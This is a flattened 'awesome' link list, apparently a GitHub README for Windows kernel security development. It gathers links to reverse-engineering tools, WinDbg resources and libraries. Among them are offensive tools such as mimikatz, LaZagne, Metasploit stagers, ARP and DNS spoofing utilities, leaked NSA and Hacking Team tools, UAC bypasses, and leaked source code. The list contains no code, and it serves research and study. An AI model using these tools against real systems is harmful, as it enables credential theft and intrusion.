https://github.com/google/binexport https://github.com/nihilus/ida-pro-swf https://github.com/ax330d/hrdev https://github.com/ax330d/ida_pdb_loader https://github.com/ax330d/functions-plus https://github.com/ecx86/classinformer-ida7 https://github.com/IOActive/kmdf_re https://github.com/a1ext/labeless https://github.com/kkHAIKE/tinyidb https://github.com/RolfRolles/HexRaysDeob (deobfuscate) https://github.com/icewall/BinDiffFilter https://github.com/devttys0/ida/ https://github.com/dude719/SigMaker-x64 (pat2sig) https://github.com/fireeye/flare-ida (idb2pat) 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https://github.com/alexander-hanel/idapython6to7 https://github.com/nektra/vtbl-ida-pro-plugin https://github.com/wirepair/IDAPinLogger https://github.com/BinaryAnalysisPlatform/bap-ida-python https://github.com/alexander-pick/patchdiff2_ida6 https://github.com/ecx86/classinformer-ida7 https://github.com/nccgroup/SusanRTTI https://github.com/gaasedelen/prefix https://github.com/andreafioraldi/IDAngr https://github.com/Cr4sh/IDA-VMware-GDB https://github.com/Comsecuris/ida_strcluster https://github.com/airbus-seclab/bincat https://github.com/a1ext/auto_re https://github.com/gynophage/solarized_ida https://github.com/luorui110120/IDAplugins https://github.com/0xItx/ida_nightfall https://github.com/xorpd/idsearch https://github.com/nihilus/IDASimulator https://github.com/dude719/SigMaker-x64 https://github.com/fireeye/SimplifyGraph https://github.com/google/binexport https://github.com/deresz/funcap https://github.com/IOActive/kmdf_re http://www.h4ck.org.cn/2011/07/ida-pe6-dll-unpack/ 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https://www.jianshu.com/p/ee789e8acb03 http://blog.51cto.com/watertoeast/2084700 http://blog.51cto.com/watertoeast/1352787 https://blog.clamav.net/2014/02/generating-clamav-signatures-with.html https://www.mnin.org/write/2006_extract_xor.pdf http://www.hexacorn.com/blog/2015/12/21/idapython-making-strings-decompiler-friendly/ http://standa-note.blogspot.com/2015/01/arm-exception-handling-and-idapython.html http://codegist.net/code/idapython-script/ https://reverseengineering.stackexchange.com/questions/16055/idapython-get-xrefs-to-a-stack-variable pykd https://github.com/sogeti-esec-lab/LKD https://www.anquanke.com/post/id/86909 https://www.anquanke.com/post/id/86896 https://www.anquanke.com/post/id/83205 https://blog.csdn.net/jimoguilai/article/details/25286029 https://blog.csdn.net/jimoguilai/article/details/29827283 https://blog.csdn.net/jimoguilai/article/details/38122863 https://blog.csdn.net/linux_vae/article/details/77532758 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https://bbs.pediy.com/thread-224904.htm http://theevilbit.blogspot.com/2017/09/pool-spraying-fun-part-1.html http://theevilbit.blogspot.com/2017/09/windows-kernel-pool-spraying-fun-part-2.html http://theevilbit.blogspot.com/2017/09/windows-kernel-pool-spraying-fun-part-3.html http://theevilbit.blogspot.com/2017/09/windows-kernel-pool-spraying-fun-part-4.html rpc https://github.com/gentilkiwi/basic_rpc hash dump https://github.com/AlessandroZ/LaZagneForensic https://github.com/AlessandroZ/LaZagne (browser credentials recovery) https://github.com/gentilkiwi/mimikatz auxiliary lib https://github.com/David-Reguera-Garcia-Dreg/auxlib ring3 nt api https://github.com/adrianyy/x64-syscall https://github.com/icestudent/ontl https://www.vergiliusproject.com/kernels https://github.com/DissectMalware/WinNativeIO https://github.com/zodiacon/WindowsInternals/tree/master/MemLimit/ndk https://github.com/codereversing/wow64syscall https://github.com/processhacker/phnt https://github.com/ntdiff/ntdiff https://ntdiff.github.io https://github.com/ntdiff/headers https://github.com/Chuyu-Team/NativeLib winpcap http://libtins.github.io/tutorial/ https://github.com/abapat/DNSPoison http://www.ferrisxu.com/WinPcap/html/index.html https://github.com/wqqhit/DNSHijack https://github.com/klemenb/fiddly http://blog.csdn.net/Ni9htMar3/article/details/54612394 https://www.cnblogs.com/xcj26/articles/6073411.html http://www.freebuf.com/articles/system/103526.html https://github.com/illahaha/zxarps (arpcheat) https://github.com/sincoder/zxarps (arpcheat) metasploit https://github.com/phackt/stager.dll https://github.com/ExpLife/metasploit-framework https://github.com/NytroRST/NetRipper https://github.com/breenmachine/RottenPotatoNG shellcode encoder https://github.com/ecx86/shellcode_encoder shadow https://github.com/lcxl/lcxl-shadow network lib https://github.com/zhllxt/asio2 http https://github.com/vlinhd11/WinHttpClass https://github.com/hpsocket/restclient-cpp https://github.com/farawaaay/http2 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https://github.com/ez8-co/xpjson https://github.com/marcusbotacin/MyJSON serialization https://github.com/ez8-co/es11n awesome https://github.com/wcventure/FuzzingPaper https://github.com/fr0gger/awesome-ida-x64-olly-plugin https://github.com/Ridter/Intranet_Penetration_Tips https://github.com/danielmiessler/SecLists https://github.com/yeyintminthuhtut/Awesome-Red-Teaming https://github.com/REMath/literature_review https://github.com/phith0n/Mind-Map https://github.com/CHYbeta/Software-Security-Learning https://github.com/0x4D31/awesome-threat-detection https://github.com/Escapingbug/awesome-browser-exploit https://github.com/CaledoniaProject/awesome-opensource-security https://github.com/rshipp/awesome-malware-analysis https://github.com/lmy375/awesome-vmp https://github.com/ksluckow/awesome-symbolic-execution https://github.com/szysec/ctftest https://stackoverflow.com/questions/4946685/good-tutorial-for-windbg https://github.com/rmusser01/Infosec_Reference https://github.com/sam-b/windows_kernel_resources https://github.com/EbookFoundation/free-programming-books https://github.com/justjavac/free-programming-books-zh_CN https://github.com/rmusser01/Infosec_Reference/ https://github.com/jshaw87/Cheatsheets https://github.com/RPISEC/MBE windows Driver Kit ddi (device driver interface) documentation https://docs.microsoft.com/zh-cn/windows-hardware/drivers/ddi/ https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg-scripting-preview windbg preview & jsprovider https://github.com/Microsoft/WinDbg-Samples https://bbs.pediy.com/thread-246449.htm http://doar-e.github.io/blog/2017/12/01/debugger-data-model/ anti-anti-vm https://github.com/hzqst/VmwareHardenedLoader vm https://github.com/etsubu/NanoVM (x64) https://github.com/tboox/vm86 spy++ https://github.com/strobejb/winspy pe tool https://www.pelock.com/products/string-encrypt https://www.pelock.com/products/obfuscator https://github.com/hasherezade/hollows_hunter (scan hook) https://github.com/hasherezade/pe-sieve https://github.com/hasherezade/bearparser https://github.com/hasherezade/libpeconv https://github.com/hasherezade/malware_analysis https://github.com/hasherezade/libpeconv_project_template https://github.com/hasherezade/libpeconv_wrappers https://github.com/hasherezade/process_doppelganging https://github.com/hasherezade/bee_parser https://github.com/hasherezade/pe_to_shellcode https://github.com/hasherezade/mal_unpack https://github.com/hasherezade/process_chameleon (modify exe path) https://github.com/hasherezade/loaderine https://github.com/hasherezade/chimera_loader https://github.com/YajS/NikPEViewer tools https://github.com/glmcdona/strings2 http://bytepointer.com/tools/index.htm#peupdate https://github.com/endgameinc/xori (Dissasemblers blackhat 2018) http://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/ post-exploitation https://github.com/francisck/DanderSpritz_lab https://github.com/francisck/DanderSpritz_docs nsa security tools https://github.com/exploitx3/FUZZBUNCH https://github.com/fuzzbunch/fuzzbunch https://github.com/peterpt/fuzzbunch apt https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections https://github.com/kbandla/APTnotes https://attack.mitre.org/wiki/Groups https://github.com/fdiskyou/threat-INTel 3rd party library https://github.com/ez8-co/ezpp https://github.com/ez8-co/emock https://github.com/ez8-co/atomic https://github.com/ez8-co/linked_hash https://github.com/asmjit/asmjit (jit) https://github.com/acl-dev/acl https://github.com/kingsamchen/WinAntHttp https://github.com/kingsamchen/KAdBlockEngine https://github.com/kingsamchen/KLog https://github.com/kingsamchen/Eureka https://zh-cn.libreoffice.org/ https://github.com/GiovanniDicanio/WinReg https://github.com/GiovanniDicanio/StopwatchWin32 https://github.com/Wintellect/ProcMonDebugOutput https://github.com/GiovanniDicanio/ReadStringsFromRegistry https://github.com/GiovanniDicanio/Utf8ConvAtlStl https://github.com/GiovanniDicanio/StringPool https://github.com/GiovanniDicanio/MapWithCaseInsensitiveStringKey https://github.com/GiovanniDicanio/SafeArraySamples https://github.com/GiovanniDicanio/TestSSO https://github.com/GiovanniDicanio/DoubleNulTerminatedString https://github.com/GiovanniDicanio/LoadingCedictBenchmarkCpp https://github.com/GiovanniDicanio/TestStringSorting https://github.com/GiovanniDicanio/UnicodeConversions https://github.com/GiovanniDicanio/TestStringsAtlVsStl https://github.com/GiovanniDicanio/UnicodeConversionAtl https://github.com/GiovanniDicanio/StlVectorVsListPerformance rpc https://github.com/houjingyi233/ALPC-fuzz-study https://github.com/muxq/hellorpc adblock https://github.com/adblockplus/adblockplusie https://github.com/adblockplus/adblockpluscore https://github.com/adblockplus/libadblockplus miscellaneous https://github.com/theopolis/uefi-firmware-parser https://github.com/z175/kdmapper https://github.com/heckerli/netshield https://github.com/TalAloni/SMBLibrary https://www.unknowncheats.me/forum/c-and-c-/179852-ring0-random-string-generator-kernel-driver.html https://github.com/gztss/SerialTool (serial debug tool) https://github.com/platomav/CPUMicrocodes https://github.com/DavexPro/PocHunter https://github.com/Microsoft/Windows-universal-samples https://github.com/ionescu007/wnfun https://github.com/waryas/UMPMLib https://github.com/MeeSong/Windows_OS_Internals_Curriculum_Resource_Kit-ACADEMIC https://github.com/piaoyunsoft/WebRedemption https://github.com/sudoconf/http_encode https://github.com/wjcsharp/wintools https://github.com/nmgwddj/HttpSourceViewer https://github.com/nmgwddj/nvapi-example (Digital Vibrance Controls) https://github.com/n1nj4sec/memorpy https://github.com/TinyCC/tinycc https://github.com/msuhanov/regf (reg formats) https://github.com/beader/tianchi-3rd_security https://github.com/Schnocker/HLeaker http://www.geoffchappell.com/studies/windows/km/index.htm (reverse) https://github.com/AntiRootkit/HandleSpy https://github.com/securifera/HeapMonitor https://github.com/securifera/serviceFu https://github.com/mq1n/WSWatcher https://github.com/imagemlt/EasyKnife (CKnife) https://github.com/didi/kemon (macOS Kernel Monitoring Callback Framework) https://github.com/Microsoft/microsoft-pdb (pdb format) https://github.com/Darm64/XNU https://github.com/netromdk/bmod https://github.com/rgl/windows-domain-controller-vagrant https://github.com/panda-re/panda https://github.com/DarkSpiritz/DarkSpiritz https://rayanfam.com/topics/inline-assembly-in-x64/ (x64 inline asm) https://www.jianshu.com/p/15be72d919ff (traversing the icon on the desktop) https://github.com/nshalabi/SysmonTools https://github.com/nshalabi/ATTACK-Tools https://github.com/ExpLife0011/hf-2012 https://github.com/tyranid/windows-attacksurface-workshop/ (2018) https://github.com/CherryPill/system_info https://github.com/muxq/DPAPI https://github.com/ExpLife/directntapi https://github.com/gaozan198912/myproject https://github.com/k0keoyo/ntoskrnl-symbol-pdb-and-undocument-structures https://github.com/gentilkiwi/p11proxy https://github.com/gentilkiwi/kekeo https://github.com/ExpLife/ByPassCfg https://github.com/hfiref0x/SXSEXP https://github.com/hfiref0x/VBoxHardenedLoader https://github.com/hfiref0x/SyscallTables https://github.com/hfiref0x/WinObjEx64 https://github.com/Cr4sh/DbgCb https://github.com/Cr4sh/s6_pcie_microblaze https://github.com/ionescu007/SpecuCheck https://github.com/ionescu007/lxss https://github.com/intel/haxm https://github.com/akayn/Resources https://github.com/DarthTon/SecureEraseWin https://github.com/hfiref0x/UACME https://github.com/tinysec/windows-syscall-table https://github.com/tinysec/jsrt https://github.com/zodiacon/DriverMon https://github.com/zodiacon/GflagsX https://github.com/zodiacon/PEExplorer https://github.com/zodiacon/KernelExplorer https://github.com/zodiacon/AllTools https://github.com/zodiacon/WindowsInternals https://github.com/hackedteam/vector-silent https://github.com/hackedteam/core-packer https://github.com/hackedteam/vector-recover https://github.com/k33nteam/cc-shellcoding https://github.com/rwfpl/rewolf-wow64ext https://github.com/rwfpl/rewolf-x86-virtualizer https://github.com/rwfpl/rewolf-gogogadget https://github.com/rwfpl/rewolf-dllpackager https://github.com/Microsoft/ChakraCore https://github.com/google/symboliclink-testing-tools https://github.com/ptresearch/IntelME-JTAG https://github.com/smourier/TraceSpy https://github.com/G-E-N-E-S-I-S/tasklist-brutus https://github.com/G-E-N-E-S-I-S/token_manipulation https://github.com/jjzhang166/sdk https://github.com/killswitch-GUI/HotLoad-Driver https://github.com/killswitch-GUI/minidump-lib https://github.com/killswitch-GUI/win32-named-pipes-example https://github.com/Kelvinhack/ScreenCapAttack https://github.com/tyranid/oleviewdotnet https://github.com/tyranid/CANAPE.Core https://github.com/tyranid/DotNetToJScript slides https://rmusser.net/docs/ https://keenlab.tencent.com/zh blogs http://kdext.com/links.html http://www.reconstructer.org/papers/Hunting%20rootkits%20with%20Windbg.pdf https://www.slideshare.net/MSbluehat/bluehat-v18-memory-resident-implants-code-injection-is-alive-and-well https://www.sekoia.fr/blog https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/single-binary-opt-in-pool-nx-optin (VS WDK Config) https://blog.csdn.net/qq_18218335/article/details/77480475 (VS WDK Config) https://docs.microsoft.com/zh-cn/previous-versions//jj572863(v=vs.85) (VS WDK Config) https://blog.csdn.net/lpwstr/article/details/81190171 (VS WDK Config) http://www.yiiyee.cn/Blog/win8-driver/ https://blog.csdn.net/liwen930723 https://ktkitty.github.io/ (vul) https://secrary.com/RandomPosts http://www.mycode.net.cn/ http://split-code.com http://eternalsakura13.com https://xiaodaozhi.com/ https://blog.vicayang.cc/ https://www.fwhibbit.es/sysmon-the-big-brother-of-windows-and-the-super-sysmonview https://dedbg.com/ https://leguanyuan.blogspot.com http://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/profile/bugdemo.htm https://blog.can.ac https://b33t1e.github.io/2018/01/03/About-VMProtect/ http://www.diting0x.com/ http://lotabout.me/archives/ (write a c interpreter) http://2997ms.com/2016/10/09/2016/2016-9%E6%9C%88-%E5%90%AD%E5%93%A7%E5%92%94%E5%93%A7/ http://www.trueai.cn/ https://whereisk0shl.top https://www.anquanke.com/post/id/97245 https://lifeinhex.com https://vallejo.cc/2017/11/18/installation-and-first-contact-with-the-new-windbg/ http://www.vxjump.net/ https://channel9.msdn.com/Shows/Defrag-Tools http://windbg.info/ http://windbg.org/ https://msdn.microsoft.com/en-us/library/windows/hardware/ff553217(v=vs.85).aspx http://www.andreybazhan.com/ https://blogs.technet.microsoft.com/markrussinovich/ http://undocumented.ntinternals.net/ http://j00ru.vexillium.org/ https://sysprogs.com/ http://www.rohitab.com/ https://sww-it.ru/ http://blogs.microsoft.co.il/pavely/ https://www.corelan.be/ http://tombkeeper.blog.techweb.com.cn/ http://www.zer0mem.sk/ http://blog.rewolf.pl/blog/ http://www.alex-ionescu.com/ http://blog.cr4.sh/ https://rootkits.xyz/ https://ixyzero.com/blog/archives/3543.html https://whereisk0shl.top/ http://www.triplefault.io/2017/09/enumerating-process-thread-and-image.html http://doar-e.github.io/blog/2017/12/01/debugger-data-model/ https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-using-windbg-preview https://blog.xpnsec.com/ https://www.fireeye.com/blog/threat-research/2018/01/simplifying-graphs-in-ida.html http://gosecure.net/2018/01/10/vmware-horizon-v4h-v4pa-desktop-agent-privilege-escalation-vulnerability-cve-2017-4946/ http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation sec tools https://securityxploded.com waf https://github.com/SpiderLabs/ModSecurity web security research site http://malware-traffic-analysis.net https://malwaretips.com/ https://www.sec-wiki.com https://www.anquanke.com/ http://xuanwulab.github.io/cn/secnews/2018/02/08/index.html http://www.vxjump.net/ https://www.pediy.com/ https://navisec.it/ http://www.secbang.com/ development documents http://devdocs.io/ https://zealdocs.org/ browser automated test https://github.com/florentbr/SeleniumBasic docker http://dockone.io/search/q-RG9ja09uZeaKgOacr+WIhuS6qw==#articles leaked source code https://github.com/misterch0c/shadowbroker (NSA) https://github.com/pustladi/Windows-2000 https://github.com/killbug2004/NT_4.0_SourceCode https://github.com/pustladi/TrueCrypt-7.2 https://github.com/pustladi/MS-DOS-v.1.1 https://github.com/pustladi/MS-DOS-v.2.0 sspi https://github.com/deemru/msspi https://github.com/vletoux/DetectPasswordViaNTLMInFlow https://github.com/judek/sspiauthenticate https://github.com/BobCatC/xSspi https://github.com/sishtiaq/SampleSSPICode https://github.com/liamkirton/sslpyfilter https://github.com/bschlenk/gsspp openssl https://github.com/square/certstrap (go) https://github.com/hioa-cs/IncludeOS/blob/fd92a5394b493b5b645b2123966d38c1576df250/src/net/https/openssl_server.cpp#L72 https://github.com/robertblackwell/marvincpp https://github.com/equalitie/ouinet https://github.com/LiTianjue/mite-note https://blog.csdn.net/dotalee/article/details/78041691 https://www.cnblogs.com/kennyhr/p/3746048.html pdb https://github.com/wbenny/pdbex gpu https://github.com/Volkanite/Push crypto api https://github.com/maldevel/AES256 https://github.com/wbenny/mini-tor https://github.com/wyrover/CryptoAPI-examples https://github.com/fmuecke/CryptoApi https://github.com/ViartX/CacheCrypto https://github.com/Deerenaros/CryptoAPIWrapper https://github.com/maldevel/SHA256 https://github.com/13g10n/crypto ipc https://github.com/fangqing/PipeLink https://github.com/e3ntity/windows_named_pipe_ipc iot sec https://iot.sec-wiki.com/ ascii banner http://www.network-science.de/ascii/ http://www.degraeve.com/img2txt.php book code https://github.com/yifengyou/32to64 https://github.com/elephantos/elephant https://github.com/yifengyou/Android-software-security-and-reverse-analysis https://github.com/yifengyou/Code-virtualization-and-automation-analysis https://github.com/yifengyou/Software-protection-and-analysis-techniques---principles-and-practices https://github.com/yifengyou/X86-assembly-language-from-real-mode-to-protection-mode regex https://github.com/zeeshanu/learn-regex paper https://github.com/tyranid/WindowsRuntimeSecurityDemos https://translation-zh-cn.readthedocs.io/zh_CN/ https://speakerdeck.com ebook https://github.com/xuanhun/PythonHackingBook1 https://github.com/xapax/security https://github.com/chryzsh/DarthSidious (AD Domain hack) https://github.com/chryzsh/practical-hacking http://www.foxebook.net/ pentest https://github.com/l3m0n/pentest_study https://github.com/l3m0n/pentest_tools https://github.com/l3m0n/linux_information wpad/pac http://www.devnotes.in/2014/11/08/auto-proxy-settings-with-PAC.html http://www.lybbn.cn/data/datas.php?yw=76 https://blog.huzhifeng.com/2017/07/16/PAC/ https://github.com/manugarg/pacparser js obfuscator/deobfuscator https://beautifier.io/ https://tool.lu/js/ https://www.52pojie.cn/thread-128803-1-1.html http://www.kahusecurity.com/2011/javascript-deobfuscation-tools-part-1/ http://www.kahusecurity.com/2011/javascript-deobfucation-tools-part-2/ http://deobfuscatejavascript.com/ http://js.pnote.net/#/js decompiler https://github.com/wargio/r2dec-js (asm to c) encryption/decryption tools https://www.devglan.com english https://github.com/yujiangshui/An-English-Guide-for-Programmers library https://www.ctolib.com/ awesome-windows-kernel-security-development Sursa: https://github.com/ExpLife0011/awesome-windows-kernel-security-development/blob/master/README.md

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